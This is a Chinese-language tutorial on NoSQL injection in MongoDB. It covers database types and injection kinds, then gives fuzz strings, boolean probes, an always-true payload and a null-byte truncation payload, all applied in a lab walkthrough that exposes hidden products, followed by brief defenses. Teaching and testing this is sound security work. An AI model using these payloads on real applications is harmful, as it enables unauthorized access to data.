服务器端漏洞篇 | NoSql注入专题
字数 1076 2025-08-20 18:18:10
NoSQL注入专题教学文档
1. NoSQL数据库概述
NoSQL数据库是为解决关系型数据库在可扩展性、性能和灵活性上的不足而设计的数据库类型。主要特点:
- 不使用表和关系存储数据
- 使用键-值对、文档、列族或图形数据模型
- 支持灵活的数据模式,无需预定义表结构
- 在处理大数据量、高并发读写时性能更高
NoSQL数据库类型
-
文档存储:使用JSON、BSON或XML格式存储数据
- 示例:MongoDB、Couchbase
- 查询方式:API或查询语言
-
键值存储:以键值格式存储数据
- 示例:Redis、Amazon DynamoDB
- 查询方式:通过唯一键检索值
-
宽列存储:将相关数据组织到灵活的列族中
- 示例:Apache Cassandra、Apache HBase
-
图形数据库:使用节点存储数据实体,边存储实体关系
- 示例:Neo4j、Amazon Neptune
2. NoSQL注入类型
2.1 语法注入
当攻击者能够破坏NoSQL查询语法,注入自己的payload时发生。与SQL注入类似,但因NoSQL数据库使用不同的查询语言和数据结构而有所差异。
2.2 运算符注入
当攻击者可以使用NoSQL查询运算符来操纵查询时发生。
3. MongoDB中的NoSQL语法注入
3.1 探测注入漏洞
测试方法:
- 提交模糊字符串和特殊字符测试每个输入
- 如果应用程序未充分清理或过滤,会触发数据库错误或其他可检测行为
示例模糊字符串:
'"`{;$Foo}$Foo \xYZ
URL编码后:
'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
或:
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000
3.2 确定语法字符
-
测试单引号(
'):this.category == '''- 如果引发异常,说明字符破坏了语法
-
验证猜想:
this.category == '\''- 如果不报错,确认存在注入可能
3.3 确认条件行为
发送两条请求测试布尔判断:
-
真条件:
' && 1 && 'xURL编码:
'+%26%26+1+%26%26+'x -
假条件:
' && 0 && 'xURL编码:
'+%26%26+0+%26%26+'x
- 如果响应不同,说明注入影响了查询逻辑
3.4 覆盖现有条件
-
注入永真条件:
'||1||'URL编码:
'%27%7c%7c%31%7c%7c%27后端查询:
this.category == 'fizzy'||'1'=='1'- 会返回所有结果,包括隐藏商品
-
使用空字符取消限制:
fizzy'%00后端处理:
this.category == 'fizzy'\u0000' && this.released == 1- 空字符使后续条件失效
4. 靶场示例
目标:利用NoSQL注入列出所有商品
步骤:
- 访问筛选URL:
/filter?category=Gifts - 测试注入:
/filter?category=Gifts'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00- 观察是否出现错误
- 尝试永真条件:
或使用空字符:/filter?category=Gifts'||1||'/filter?category=Gifts'%00
5. 防御措施
- 输入验证和过滤
- 使用参数化查询
- 实施最小权限原则
- 对特殊字符进行转义处理
- 使用ORM框架提供的安全方法
6. 总结
NoSQL注入与SQL注入原理相似但实现方式不同,主要利用:
- 语法注入破坏查询结构
- 运算符注入操纵查询逻辑
- 通过布尔条件测试和永真条件绕过限制
理解目标数据库的查询语法和特殊字符是成功利用NoSQL注入的关键。